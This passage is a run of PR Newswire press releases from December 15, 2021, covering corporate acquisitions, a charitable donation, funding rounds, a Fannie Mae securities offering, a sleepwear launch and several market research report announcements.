customer experience. They work with Boards of Directors and CEOs to transform growth-focused and enterprise brands into strategic business assets focused on rallying internal teams, engaging their markets and adding enterprise value. Culturally, Sustena is committed to the core values of growing their people and helping their customers achieve lasting success by solving problems together. The addition of Sustena fits Pariveda's strategy well as it further increases its capability to deliver compelling value to its clients by helping them achieve their missions while advancing the purpose of growing people. Sustena is a talented group of leaders and practitioners who work directly with CEOs, extending how Pariveda serves the C-Suite, solving the business and technology challenges their organizations face. Sustena will operate as a co-branded name, "Sustena, a Pariveda company." "Leaders strive to solve the challenge of articulating their enterprises 'why' but find those messages fall flat or don't align to the purpose of the organization. They seek guidance to discover or reimagine their organization's true north purpose that aligns employee and customer experience.," said Bruce Ballengee, CEO of Pariveda. "Sustena helps these leaders express what's always been true while aligning employees and involving customers in the process to articulate how they see the enterprise delivering on its core purpose. Their approach is very sound with a proven track record of long-standing relationships with CEOs and Private Equity leaders who rely on them across North America." "We could not be more excited to join forces with the Pariveda team. As a firm that provides strategic brand guidance to executive leaders of complex business-to-business organizations, we often work at the nexus of change and transformation. Having a partner in Pariveda will enable us to provide greater insight and value to our clients as we will have access to stellar strategy and technology experts," said Brenna Garratt, Founder and CEO of Sustena. "Having known and worked with Pariveda for over two years, it is also clear we have a deep cultural connection one focused on fostering the best environment and opportunity for our teams to grow and flourish. I have no doubt that our new home with Pariveda will add exponential value to our teams, clients and partners." About Pariveda Solutions, Inc.: Pariveda is a consulting firm solving complex technology and business problems by aligning our people-development focus with the mission of our clients. As an employee-owned company, our people are naturally curious, driven individuals comfortable with complexity. We are invested in helping our clients identify, architect and develop custom solutions to help their organization succeed now and into the future. Headquartered in Dallas, Texas, we live and work in major cities across North America. To learn more about how we develop custom solutions to help organizations succeed, visit our website: www.parivedasolutions.com. Pariveda Solutions and The Business of IT are trademarks of Pariveda Solutions, Inc., Dallas, Texas, USA. About Sustena Group Inc.: Sustena is a New York City-based business-to-business brand development and go-to-market firm focused on working with executive leaders of investor-backed, growth-focused businesses to transform their brands into strategic business assets. Our long-standing and deliberate methodology results in our client's ability to unite their teams, engage their markets, attract new customers, and increase their enterprise value. To learn more about our brand development process and see case studies of our client collaborations, visit our website: www.sustenagroup.com. Contact Information Leslie Garza Brand & Communications Manager [email protected] 844.325.2729 SOURCE Pariveda Solutions, Inc. GLENVIEW, Ill., Dec. 15, 2021 /PRNewswire/ -- Envoy Solutions, a diversified distribution company with a rapidly expanding footprint across the United States, announced today the acquisition of Swish White River Ltd., a premier distributor of janitorial and foodservice solutions. Based in White River Junction, Vermont, Swish White River serves customers throughout New England with locations in Vermont and Connecticut. They take an innovative approach to bringing new technologies to market that empower customers to run their businesses more efficiently. Since September, Envoy Solutions has continued to build momentum by adding a series of new companies to its national platform. This latest acquisition will advance Envoy Solutions' vision of making buildings cleaner and more sustainable, people safer, and operations more productive every day. "This is a great way to top off an exciting year for our company," said Mark M. Fisher, CEO of Envoy Solutions. "I'm very much looking forward to working with Peter Crouse and all of our new team members. With this acquisition, we will bring together a fragmented market in the New England area in a way that benefits employees, customers, and supplier partners from both of our companies." Swish White River's parent company, a family-owned business, was established in 1956. Swish is a solutions-driven company that offers expert advice, training, and a wide variety of best-in-class cleaning products and services. The company's mission is to provide customers with proven solutions and processes for healthy living. "I'm thrilled this opportunity presented itself," said Peter Crouse, CEO of Swish White River Ltd. "I firmly believe Envoy Solutions' business model is the way of the future, and we're glad to be a part of it. We will now have the opportunity to showcase our product offerings to new customers across the country. We look forward to growing with Envoy Solutions, a company that I'm happy to say shares our culture and values." About Envoy Solutions: Envoy Solutions, the nation's premier specialty distribution platform, is helping businesses thrive through a multi-faceted approach to make buildings cleaner and people safer every day. Our wide array of essential products, including sanitary supply, packaging solutions, and foodservice disposables, are improving the quality of life at schools, hospitals, offices, and other institutions. Based in Glenview, Ill., Envoy Solutions is the parent company of North American Corporation, WAXIE Sanitary Supply, Southeastern Paper Group, Daycon, North Woods, PJP, Johnston, Next-Gen, and NVISION. For more information, please visit www.envoysolutions.com About Swish White River Ltd.: Swish White River Ltd. is a leading janitorial, maintenance supply, and foodservice disposable company dedicated to solving our customers' product needs. We offer a long list of products, including general cleaners, foodservice disposables, workplace safety items, and more. Our company's philosophy is to provide customers with value, quality, and service, focusing on health and safety. For more information about Swish, please visit www.swishusa.com SOURCE Envoy Solutions HEMEL HEMPSTEAD, England, Dec. 15, 2021 /PRNewswire/ -- Epson has donated 100 EcoTank cartridge-free printers and 20 laser projectors to The Usain Bolt Foundation which aims to create opportunities through education and cultural development. The printers and projectors, valued at over 100K, were awarded at a special ceremony held at Usain Bolt's former primary school in Jamaica, Waldensia Primary. Waldensia is just one of several schools across Jamaica who will benefit from the new equipment. Others include Salt Marsh, Duanvale and Kinloss Primary Schools. The principal of Waldensia Primary School, Mrs. Nicola Ottey-Anderson, said of the donation: "Equipment such as this is the needed solution for all educational institutions across Jamaica because our printing needs are grave." Mrs Ottey-Anderson explained that thousands of students are still not able to connect in the virtual space, and teachers and several stakeholders have been having to go the extra mile to ensure that all children have access to learning materials." Usain Bolt, who earlier this year became Epson's European ambassador and the face of a major awareness building campaign for Epson's EcoTank printers, attended the official ceremony. While encouraging the students present at the ceremony to work hard, be dedicated, believe in themselves, and dream big in order to be the best they can be, he said: "It is always a pleasure to give back to Jamaica. It is a wonderful feeling to see the children getting a better opportunity than I had because I know what a lot of them are going through and the hardship they have experienced throughout this pandemic. I believe that children have a right to the best start in life. With access to the best equipment possible, primary schools throughout Jamaica will benefit greatly. Epson shares my vision of making education accessible to everyone and, together, we are helping kids across Jamaica to bring dreams of sustainable, healthier, and happier futures vividly to life." Epson shares Usain Bolt's ambition to help drive positive change within the community and to help children receive the best education possible. Maria Eagling, Director for European marketing at Epson said: "We are pleased to be working with The Usain Bolt Foundation to help children in Jamaica as much as we can. Hopefully the printers and projectors will help them dream big and give them a head start in making those dreams a reality." The ceremony was also attended by Ms Karlene Segree from The Ministry of Education, Usain Bolt Foundation Chairman Rev. Winsome Wilkins, Nugent Walker-Usain Bolt's Manager and Jennifer Bolt-Usain Bolt's mother. About Epson Epson is a global technology leader dedicated to co-creating sustainability and enriching communities by leveraging its efficient, compact, and precision technologies and digital technologies to connect people, things, and information. The company is focused on solving societal issues through innovations in home and office printing, commercial and industrial printing, manufacturing, visual and lifestyle. Epson will become carbon negative and eliminate use of exhaustible underground resources such as oil and metal by 2050. Led by the Japan-based Seiko Epson Corporation, the worldwide Epson Group generates annual sales of around JPY 1 trillion. global.epson.com/ Photo - https://mma.prnewswire.com/media/1707572/EPSON_Usain_Bolt_Foundation.jpg SOURCE Epson Europe NEW YORK, Dec. 15, 2021 /PRNewswire/ -- BizVibe has made available 1,000+ company profiles for the duct manufacturers and service providers category on its B2B platform. Companies listed in this product category are primarily engaged in manufacturing or supplying various types of duct-related products (such as insulated flexible ducts, HVAC duct parts, etc.). Companies which provide various duct-related services (such as duct cleaning, duct cleaning equipment rental, etc.) are also included in the category. Get Free Access to These 1,000+ Profiles Snapshot of BizVibe's duct supplier profiles and categories. Each profile is free to view and packed with high-quality insights, providing businesses with detailed company information. Users can take advantage of these insights to identify, target, and connect with the right duct manufacturers and service providers. This company information includes employee insights, company competitors, the impact of emerging trends and challenges, the latest news, and more. Free Insights Included for all Duct Company Profiles: List of product and service category offerings and primary operating industries Risk of doing business score across four different metrics List of key executives and their roles within the company Company financials and general organizational information Global, national, and regional competitors List of key clients Top trends and challenges within operating industry and expected influence on business impact Latest company news with the ability to sign up for timely news alerts Get Started to View Free Company Insights Duct Companies on BizVibe BizVibe's platform contains 30M+ company profiles, spanning across 200+ countries, categorized into 40,000+ products and services. There are 1,000+ company profiles related to duct supplies and services on BizVibe, covering 10+ product and service categories. Each company profile contains detailed insights dedicated to helping procurement and sales teams find trusted suppliers and target sales prospects. Examples of duct manufacturer and service provider company profiles that can be discovered on BizVibe include: Insulated flexible duct suppliers HVAC duct part suppliers Duct insulation suppliers Air duct cleaning equipment manufacturers Duct cleaning equipment rental services Duct cleaning services Get Free Company Profile Access for all Categories Company Profiles for Buyers and Sellers BizVibe's modern B2B platform is designed to help both global buyers and sellers. Powered by the latest best-in-class solutions, BizVibe provides outstanding product features for both category managers and sales professionals. Features for Buyers: Quickly discover the right suppliers Create short lists and custom alerts Mitigate supplier risk and evaluate suppliers Send RFIs/RFPs Learn how BizVibe helps buyers: https://www.bizvibe.com/find-suppliers Features for Sellers: Target the right sales prospects Qualify leads Analyze buyer potential API integration and data enrichment Learn how BizVibe helps sellers: https://www.bizvibe.com/sellers About BizVibe BizVibe has been conceptualized and built by a team based out of Toronto, Bangalore, and London. We are a branch of Infiniti Research and have dedicated units in all three locations. BizVibe helps buyers find the most relevant suppliers from around the world and help sellers target prospects who need their products and/or services. For more information, please visit www.bizvibe.com and start for free today. Contact BizVibe Jesse Maida Email: [email protected] +1 855-897-5880 Website: https://www.bizvibe.com/ SOURCE BizVibe PHOENIX, Dec. 15, 2021 /PRNewswire/ -- eVisit, the leading enterprise care delivery platform for large health systems and hospitals, announced today that the company achieved several significant milestones in 2021, including the closure of a $45 million Series B financing round and the addition of several new customers, most notably Concentra and MMM in Puerto Rico. For years, eVisit has been on a mission to simplify healthcare delivery to everyone, everywhere. Virtual care services have made significant strides during the COVID-19 pandemic and have subsequently been embraced by some of eVisit's marquee customers, including Banner Health, Concentra, and Easter Seals. As a leading care delivery platform, eVisit has a strong track record of increasing clinical efficiencies and reducing costs, as well as enhancing patient outcomes and satisfaction. "We are incredibly proud of our accomplishments over the last year," said eVisit CEO Bret Larsen. "We know 2022 will be even more exciting for eVisit as more health systems reimagine their Virtual Care programs with flexible workflows, greater convenience, and more profitable business plans. eVisit will continue to embrace the future by providing the best platform for modern consumer experiences in healthcare." A summary of eVisit's 2021 highlights include: Series B In September, eVisit closed a $45 million Series B financing round led by the Growth Equity business within Goldman Sachs Asset Management, with participation from Texas Health Resources, Tom Burton and Steve Barlow (co-founders of Health Catalyst), and existing insiders. eVisit will invest the capital to drive growth by building out its enterprise care delivery platform and scaling up its sales and marketing efforts. New customer: Concentra In February, the nation's leader in occupational healthcare and telemedicine, Concentra, selected the eVisit enterprise care delivery platform to power its Concentra Telemed service offering. Concentra operates 580 clinics in 43 states, delivering care to more than 30,000 patients every day. New customer: MMM in Puerto Rico MMM, the leading and pioneering plan in the Medicare Advantage segment in Puerto Rico, announced the launch of its Virtual Appointment (Cita Virtual in Spanish) to provide more convenient access to healthcare services for older adults. Virtual Appointment (Cita Virtual) is powered by the eVisit Enterprise Virtual Care Platform. Industry recognition: Forrester The eVisit Enterprise Virtual Care Platform was named the Solo Leader by Forrester Research in The Forrester Wave: Virtual Care Platforms for Digital Health, Q1 2021. The eVisit Enterprise platform was recognized among 12 other vendors and scored among the top for the Current Offering and Strategy categories. Industry recognition: Inc. 5000 ranking eVisit was recognized for the first time as one of America's fastest-growing companies in 2021, ranking no. 2,300 on the prestigious Inc. 5000 List. This list is a selection of the most dynamic privately held firms in the U.S. and rankings reflect revenue growth rates across the past three-year period, 2017-2020. "As the healthcare industry moves to adopt hybrid care models, eVisit will continue to stand out as the leading end-to-end platform," said Larsen. "The progress made by healthcare innovation in 2021 reaffirms our drive to reach higher levels in 2022. Looking ahead, eVisit plans to be a proactive, forward-thinking ally for its partners across the healthcare spectrum." Request a consultation of the eVisit Virtual Care platform and get connected with a Virtual Care Consultant. About eVisit eVisit is the only end-to-end, fully integrated, enterprise care delivery platform built for health systems and hospitals. It delivers innovative consumer experiences in care navigation, care delivery, and care engagement, improving margins at scale without sacrificing quality. With eVisit, healthcare organizations can deliver faster, more accessible Virtual Care using their own network of providers, regardless of specialty, to deliver a seamless patient experience. eVisit works seamlessly across enterprise service lines and departments to improve outcomes, reduce costs, and boost revenue. Based in Phoenix, Ariz., eVisit helps healthcare organizations, including the largest systems in the U.S., innovate and succeed in today's changing healthcare market. Its unique operational excellence program, the eVisit Virtual Care Maturity Model, includes a benchmarking system and educational workshops across six foundational areas to help ensure customer success. eVisit is the only Leader in the Forrester Wave: Virtual Care Platforms in Digital Health, Q1 2021, and is a Representative Vendor in the Gartner 2020 Market Guide for Virtual Care. Get your complimentary copy of the Forrester Report here and the Gartner Report here. For more information, visit evisit.com. eVisit Media Contact: [email protected] SOURCE eVisit WASHINGTON, Dec. 15, 2021 /PRNewswire/ -- Fannie Mae (FNMA/OTCQB) priced Connecticut Avenue Securities (CAS) Series 2021-R03, an approximately $909 million note offering that represents Fannie Mae's third, and last, CAS REMIC transaction of the year. CAS is Fannie Mae's benchmark issuance program designed to share credit risk on its single-family conventional guaranty book of business. "Our final deal of the year was well received by the market," said Devang Doshi, Senior Vice President, Single-Family Capital Markets, Fannie Mae. "Subject to market conditions, we look forward to returning to market in early January with our first deal of 2022, CAS 2022-R01, a low-LTV transaction." The reference pool for CAS Series 2021-R03 consists of approximately 117,000 single-family mortgage loans with an outstanding unpaid principal balance of approximately $35 billion. The reference pool includes collateral with loan-to-value ratios of 60.01 percent to 80.00 percent, which were acquired in January 2021. The loans included in this transaction are fixed-rate, generally 30-year term, fully amortizing mortgages and were underwritten using rigorous credit standards and enhanced risk controls. Fannie Mae will retain a portion of the 1M-1, 1M-2, 1B-1, and 1B-2 tranches and will retain the full 1B-3H first-loss tranche. Class Offered Amount ($MM) Pricing Level Expected Rating (S&P/KBRA) 1M-1 $264.348 1-month average SOFR plus 85 bps A (sf) / BBB+ (sf) 1M-2 $313.914 1-month average SOFR plus 165 bps BBB (sf) / BBB (sf) 1B-1 $148.696 1-month average SOFR plus 275 bps BB (sf) / BB+ (sf) 1B-2 $181.739 1-month average SOFR plus 550 bps NR / B (sf) BofA Securities, Inc. ("BofA Securities") is the lead structuring manager and joint bookrunner. Barclays Capital Inc. ("Barclays") is the co-lead manager and joint bookrunner. Co-managers are Amherst Pierpont Securities LLC ("Amherst"), Morgan Stanley & Co. LLC ("Morgan Stanley"), Performance Trust Capital Partners, LLC ("Performance Trust"), and Wells Fargo Securities, LLC ("Wells Fargo"). Selling group members are African American-owned Blaylock Van, LLC and Service-Disabled Veteran-owned Drexel Hamilton, LLC. With the completion of this transaction, Fannie Mae will have brought 44 CAS deals to market, issued over $50 billion in notes, and transferred a portion of the credit risk to private investors on over $1.6 trillion in single-family mortgage loans, measured at the time of the transaction. To promote transparency and to help credit investors evaluate our securities and the CAS program, Fannie Mae provides ongoing, robust disclosure data, as well as access to news, resources, and analytics through its credit risk transfer webpages. This includes Fannie Mae's innovative Data Dynamics tool that enables market participants to interact with and analyze CAS deals that are currently outstanding in the market and Fannie Mae's historical loan dataset. In addition, our EU Resources and UK Resources webpages help European Union and UK institutional investors, as well as those managing funds subject to EU/UK regulations comply with EU/UK securitization regulation. In addition to our flagship CAS program, Fannie Mae continues to transfer mortgage credit risk through its Credit Insurance Risk Transfer (CIRT) reinsurance program. About Connecticut Avenue Securities: CAS REMIC notes are issued by a bankruptcy-remote trust. The amount of periodic principal and ultimate principal paid by Fannie Mae is determined by the performance of a large and diverse reference pool. For more information on individual CAS transactions, visit our credit risk transfer website. About Fannie Mae Fannie Mae helps make the 30-year fixed-rate mortgage and affordable rental housing possible for millions of people in America. We partner with lenders to create housing opportunities for people across the country. We are driving positive changes in housing finance to make the home buying process easier, while reducing costs and risk. To learn more, visit: fanniemae.com | Twitter | Facebook | LinkedIn | Instagram | YouTube | Blog Fannie Mae Newsroom https://www.fanniemae.com/newsroom Photo of Fannie Mae https://www.fanniemae.com/resources/img/about-fm/fm-building.tif Fannie Mae Resource Center 1-800-2FANNIE Statements in this release regarding the company's future CAS transactions are forward-looking. Actual results may be materially different as a result of market conditions or other factors listed in "Risk Factors" or "Forward-Looking Statements" in the company's annual report on Form 10-K for the year ended December 31, 2020. This release does not constitute an offer or sale of any security. Before investing in any Fannie Mae issued security, potential investors should review the disclosure for such security and consult their own investment advisors. SOURCE Fannie Mae Craft Ventures is joined by Kingsway Capital, Trammel Venture Partners and Balaji Srinivasan to accelerate Lightning Network adoption through the Galoy open source Bitcoin banking platform. MIAMI, Dec. 15, 2021 /PRNewswire/ -- Galoy, developer of Bitcoin banking software and creator of the Bitcoin Beach Wallet in El Salvador, has closed a $3 million dollar seed round. The suite of Galoy solutions enables any community, company or government to offer banking services using Bitcoin and Lightning. Co-Founder and CEO Nicolas Burtey believes Bitcoin is the base layer for the financial system of the future: "The Bitcoin Protocol provides an open and Internet-native alternative to the closed and permissioned traditional financial system. We created Galoy to help any community or institution adopt this novel standard, and connect to the world's foremost monetary network." Co-Founder and President Chris Hunter says Galoy is lowering the barrier of entry associated with launching a bank: "Twenty years ago, it was costly and cumbersome to start a software company. Today it is easy, fast and inexpensive to do such thanks to the widespread adoption of cloud computing offerings. Galoy is driven to similarly transform the world of financial services. In the years ahead, our clients will be able to launch full-service Bitcoin banking solutions with little more than the push of a button." Lead seed round investor Brian Murray, COO and Partner at Craft Ventures, notes: "We are witnessing Lightning accelerate the evolution of Bitcoin from a speculative asset to a conventional payment rail. Galoy is building a platform that will make it simple for everyone around the world to use Bitcoin as money." Manuel Stotz, Founder of Kingsway Capital said: "Galoy is inventing Bitcoin tools at the intersection of SaaS and frontier markets. The team has already delivered a successful proof of concept in El Salvador. This can serve as a model for leaders in emerging markets to replicate." Galoy's proof of concept, the Bitcoin Beach Wallet, helped inspire nation-state adoption of Bitcoin in El Salvador. Learnings from the project were recently published in the article " Bitcoin Banking for Communities: Lessons Learned from Bitcoin Beach ." The platform is built for a wide variety of clients. Examples include: Communities: towns, religious organizations, charities enabling the creation of circular Bitcoin economies, both locally and globally Governments: cities, countries, agencies providing 21st century financial services directly to their constituents Companies: banks, merchants, consumer product businesses offering novel Bitcoin experiences to their retail customers The Galoy tech stack includes comprehensive features for launching a Bitcoin Bank: a secure backend API, mobile wallets, point of sale apps, compliance tools and administrative controls. Galoy also offers hosted "Banking-as-a-Service" (BaaS) solutions for those seeking fully-managed implementations and support. The complete codebase is open source and available for all to view, audit and utilize on GitHub . In addition to the aforementioned investors, participants in the seed round include Fulgur Ventures, Bitcoiner Ventures and renowned angels Vijay Boyapati and Brad Mills. "We believe Bitcoin represents one of the most important technologies ever invented by humanity," Hunter adds. "The Galoy team is humbled to be at the forefront of its adoption, and excited to help bring Bitcoin to the first billion people." About Galoy Galoy makes it simple for any community or institution to offer financial services on Bitcoin. The Galoy open source Bitcoin banking platform includes a secure backend API, mobile wallets, point of sale apps, compliance tools and administrative controls. Galoy's proof of concept, the Bitcoin Beach Wallet, supported the creation of a circular Bitcoin economy that inspired nation-state adoption of Bitcoin as legal tender in El Salvador. Learn more at galoy.io . SOURCE Galoy Related Links http://galoy.io DUBLIN, Dec. 15, 2021 /PRNewswire/ -- The "Global Inflammatory Bowel Disease (IBD) Market - Analysis By Disease Indication (Crohn's Disease, Ulcerative Colitis), Drug Class, Distribution Channel, By Region, By Country (2021 Edition): Market Insights, Covid-19 Pandemic, Competition and Forecast (2021-2026)" report has been added to ResearchAndMarkets.com's offering. The Global Inflammatory Bowel Disease (IBD) Market, valued at USD 210.5 Billion in the year 2020, has been driven by factors such as the increasing prevalence of Ulcerative Colitis and Crohn's Disease, advances in medical technology, government support for inflammatory bowel disease treatment research, and the ubiquity of anxiety and depression. Moreover, factors such as the irregular food habits, unhealthy lifestyle of people, increased level of pollution and increase in alcohol consumption and cigarette smoking are likely to contribute towards the growth of the IBD market. Additionally, rise in investments in building a robust pipeline for IBD, increase in lifestyle-related risk factors and growing popularity of prebiotic and probiotic foods are likely to boost the growth of the global market during the forecast period. The North America region dominates the market. In North America, rising prevalence and incidence of IBD across the region is the major driving factor for the market. Moreover, an increasing number of cigarette-smokers in United States and significant funding in the IBD field in Canada is further estimated to boost the growth of the IBD market in the region. The IBD market in North America has remained at the forefront in terms of growth opportunities as well as developments in the field of Crohn's Disease over the years. The region is likely to continue to account for a significant piece of the revenue pie over the next few years as well, thanks to the presence of several pharmaceutical and biosciences companies and the presence of numerous leading players in the field of Crohn's Disease. Additionally, increasing geriatric population base and prevalence of Ulcerative Colitis and Crohn's disease and also well-developed healthcare expenditure coupled with increased per capita healthcare expenditure across regions would enhance the growth of the market during the forecast period. Scope of the Report The report analyses the market by value. The report analyses the market by disease Indication (Crohn's Disease, Ulcerative Colitis). The report further assesses the the market by drug class (TNF Inhibitors, Aminosalicylates, Integrin Antagonists, Others). The report further assesses the the market by distribution channel (Hospital Pharmacies, Retail Pharmacies, Online Pharmacies). The market has been analysed by region ( North America , Europe and Asia Pacific ) and By Country ( United States , Canada , Germany , France , Italy , Spain , United Kingdom , China , Japan , India ). , and ) and By Country ( , , , , , , , , , ). The key insights of the report have been presented through the frameworks of Major Mergers & Acquisitions, Recent Industry Developments. Also, the attractiveness of the market has been presented By Region, By Disease Indication, By Drug Class and By Distribution Channel. Additionally, trends, drivers and challenges of the industry has been analysed in the report. The companies analysed in the report include Johnson & Johnson, AbbVie Inc., Takeda, Pfizer, Roche, Celgene, GlaxoSmithKline, Novartis, UCB and Eli Lilly & Company. The report presents the analysis of the market for the historical period of 2016-2020 and the forecast period of 2021-2026. Key Target Audience Pharmaceutical Companies Diagnostics Companies Pharma R&D Organizations Research and Consulting Firms Government and Research Organisations Countries Covered Canada China France Germany India Italy Japan Spain United Kingdom United States Companies Mentioned AbbVie Inc. Celgene GlaxoSmithKline Johnson & Johnson Novartis Pfizer Roche Takeda UCB Eli Lilly & Company For more information about this report visit https://www.researchandmarkets.com/r/joqma0 Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com LOS ANGELES, Dec. 15, 2021 /PRNewswire/ -- Mey GmbH & Co. KG, the global manufacturer of underwear, nightwear and lingerie based in Germany, is launching the world's first nightwear worldwide with CELLIANT viscose, which converts body heat into energy. CELLIANT viscose is a unique combination of nature and performance. It was developed by materials science leader Hologenix, creators of CELLIANT, a responsive textile using infrared technology, and Kelheim Fibres, the leading manufacturer of viscose specialty fibers. The collection consists of five designs in two colors, Natural and Deep Taupe, and is called "mey Zzzleepwear - THE NEW SLEEP-LIFE BALANCE." It is the world's first nightwear that converts body heat to energy with CELLIANT viscose. CELLIANT converts the heat emitted by the body into full-spectrum infrared energy and reflects it back to the skin. This supports local circulation and helps improve cellular oxygenation. CELLIANT viscose features natural, ethically sourced minerals embedded into plant-based fibers and is biodegradable. CELLIANT viscose provides all the benefits of being a viscose fiber lightweight, soft, highly breathable, excellent moisture management as well as the fiber enhancements from CELLIANT infrared technology. In addition, CELLIANT is durable and will not wash out, lasting the useful life of the product it powers. "Sustainability isn't just a trend for us, it is part of our tradition," said Matthias Mey, Managing Partner of mey. "The first-ever nightwear with CELLIANT viscose is a testament to our continued commitment to sustainability. Sleep is the most rejuvenating time of the day and with the added infrared properties of CELLIANT technology combined with the soft, lightweight viscose fiber, our product should make it even more restful and restorative." Available at www.mey.com; more information at https://www.mey.com/de/serie-zzzleepwear; for English visit, https://www.mey.com/en/zzzleepwear-series. A True Partnership The bridge between the unique CELLIANT technology and the renowned manufacturer mey was formed by the Bavarian viscose specialty fiber manufacturer Kelheim Fibres. Kelheim Fibres's flexible production technology allows targeted interventions in the viscose fiber process; CELLIANT minerals can thus be introduced directly into the spinning mass and lead to a permanent and durable functionalization of the fiber. The skin-friendly surface structure of viscose and its other advantages, such as its softness or excellent moisture management, are retained. CELLIANT viscose is the world's first in-fiber sustainable infrared viscose. Dr. Marina Crnoja-Cosic, Director New Business at Kelheim Fibres, said, "We congratulate mey on the launch of the new sleepwear collection. Accelerating the commercialization from the fiber development to the end product was possible through the close interaction of all participants in the value chain. We are pleased that mey offers the consumer garments with innovative and future-oriented technology combined with proven quality for increased well-being and better sleep." "The development of this first-ever CELLIANT viscose nightwear is indicative of the true partnership between us, Kelheim and mey, bringing together fiber innovation from two companies into a commercially available fabric and product from mey, the esteemed bodywear manufacturer," concluded Seth Casden, Hologenix co-founder and CEO. "We hope to positively impact the lives of those using our products." About Hologenix Hologenix, headquartered in Pacific Palisades, California, is a materials science innovation company producing products that energize all aspects of life. Its flagship product, CELLIANT, is an infrared responsive textile that provides myriad wellness benefits and is an ingredient in world-class brands across multiple industries. It is rigorously tested by a Science Advisory Board composed of experts in the fields of photobiology, nanotechnology, sleep medicine, diabetes and wound care. The Science Advisory Board has overseen nine peer-reviewed published studies that demonstrate CELLIANT's effectiveness and the benefits of infrared energy. CELLIANT is made from non-conflict, ethically sourced minerals. CELLIANT's proprietary formula is manufactured in the USA. Nature-based CELLIANT viscose passed the OECD test for biodegradability, is registered on the USDA Biobased list and is certified by FSC or PEFC, which guarantees the origin in sustainably managed farms. In addition, Kelheim Fibres was awarded a dark green shirt in Canopy's 2021 Hot Button Ranking. This indicates a leadership role in raw material sourcing. The production of CELLIANT viscose takes place exclusively at the Kelheim facilities in Germany, complying with the country's strict environmental laws and guaranteeing an overall eco-friendly product. For more information, visit www.celliant.com. About mey mey is one of the leading European brands of high-quality bodywear for women and men. Every product is designed, manufactured and marketed with creativity, passion and an eye for detail. For mey, innovation not only means creating something new, but also continuously improving the company, its products and processes. Established in 1928, the German family enterprise attaches great importance to both modern design and premium quality. Over 50% of mey's entire value creation takes place in Germany, allowing the consistent implementation of high quality standards. mey products give women and men the reassuring feeling of having made the right choice. Because nothing is closer to your skin than your bodywear. For more information, visit www.mey.com Link to high-res photos: https://spaces.hightail.com/space/EVQV9hGaOI SOURCE Hologenix, LLC/mey DUBLIN, Dec. 15, 2021 /PRNewswire/ -- The "Global Military Intelligence Analytics Growth Opportunities" report has been added to ResearchAndMarkets.com's offering. Military intelligence (MILINT) AI is a growing phenomenon that generates conceptual transformation in future battlefield concepts of operations (ConOps), gathered by demand for AI-analytics-based sensors paradigm. It increases intelligence resources in defense budgets, and becomes a strategic national asset that reflects deeply international superpower relations. With its strategic implications on armed forces around the globe, intelligence warfare will take place across a multi-domain battlespace with further integration of air, maritime, land, and cyber-based intelligence analytics domains. New APIs are also driving these developments in MILINT requirements, such as NLP, data mining, real-time analysis, and automatic target recognition (ATR) based on AI. These systems will both need to be integrated into current IT and distribution systems, as well as analytics APIs that need to manage large amounts of data for operational use and demands. This study covers the quantitative and qualitative discussion of the key aspects of the trends in the military intelligence market, including drivers and restrains, market commercial ecosystem, and technological overview, including leading APIs and main projects. Key Topics Covered: 1. Strategic Imperatives 2. Growth Opportunity Analysis - Military Intelligence Analytics Market Definitions and Scope Scope of Research Key Questions this Study will Answer Research Methodology 3. Overview AI Era in MILINT - A Rapid Change The Substantial Challenge for Intelligence Agencies Revolution or Evolution in the Intelligence Process Artificial Intelligence Machine Learning and Deep Learning Market Definitions MILINT Analytics 2020-2035 Deep Learning Algorithms that Execute Diverse Tasks 4. Forecast Assumptions 5. Strategic Scope Geopolitical Perspective - Superpower Rivalry Over AI Global Dominance The United States US MILINT AI Ecosystem - Innovative Environment 6. MILINT Analytics Impact on ConOps Trends Impacting Demand of MILINT Analytics 2020-2030 MILINT Analytics Catalyze Changing Military ConOps How Battlefield Trends Impact MILINT AI Demands AI MILINT Surge Dilemmas Revolution or Evolution - From Data Lake to Data Warehouse MILINT Analytics Architecture 7. External Challenges - Drivers and Restraints: Total Big Data Analytics Market MILINT Analytics - Implementation of Digital Solutions Growth Driver Analysis for Military Intelligence Analytics Growth Restraint Analysis for Military Intelligence Analytics 8. Application Diversity MILINT Analytics Schematic Segments Architecture Definitions of AI Structures MILINT Analytics Key Technologies and Applications - Methods of Extracting Valuable Intelligence from Unstructured Data Deep Learning Algorithms that Execute Diverse Tasks Diligent Resources to Support AI Applications Case Study 1 - Social Network Analysis: The Boko Haram Terrorist Organization ( Central Africa ) ) Case Study 2 - Automatic Target Recognition and Acquisition (ATR) Case Study 3 - Situational Awareness 9. Market Overview and Analysis Key Growth Metrics for Military Intelligence Analytics Forecast Assumptions and Discussion Total Spending Forecast 2020-2030 - Military Intelligence Analytics Regional Spending Forecast 2020-2030 - Military Intelligence Analytics Forecast Discussion Current Main Programs in the US - Military Intelligence Analytics Examples of Contracts 2020-2024 - Military Intelligence Analytics Key Competitors - Military Intelligence Analytics 10. Mergers & Acquisitions - Military Intelligence Analytics 11. Growth Opportunities and Companies to Action - Military Intelligence Analytics Growth Opportunity 1: Narrow AI Short-term Focus for IC Growth Opportunity 2: AGI - Mid-term Focus for Human-like Performance Growth Opportunity 3: AI-as-a-service (AI-aaS) Across MILINT Verticals for Harnessing Treasure Troves of Data to Improve Efficiency Growth Opportunity 4: Intelligence Supremacy Rivals for Enhancing US MILINT AI Capabilities Growth Opportunity 5: MILINT NLP to Automatically Classify and Match Incoming Data Growth Opportunity 6: Training Data for Building Trust in MILINT AI Algorithms Strategic Imperatives to Achieve Growth Within the DoD Artificial Intelligence Ecosystem For more information about this report visit https://www.researchandmarkets.com/r/duesur About ResearchAndMarkets.com ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com DUBLIN, Dec. 15, 2021 /PRNewswire/ -- The "Semiconductor Chips: Applications and Impact of Shortage " report has been added to ResearchAndMarkets.com's offering. The global semiconductor chips market should reach $553.6 billion by 2026 from $381.0 billion in 2021 at a compound annual growth rate (CAGR) of 7.8% for the forecast period of 2021 to 2026. The Americas semiconductor chips market is expected to 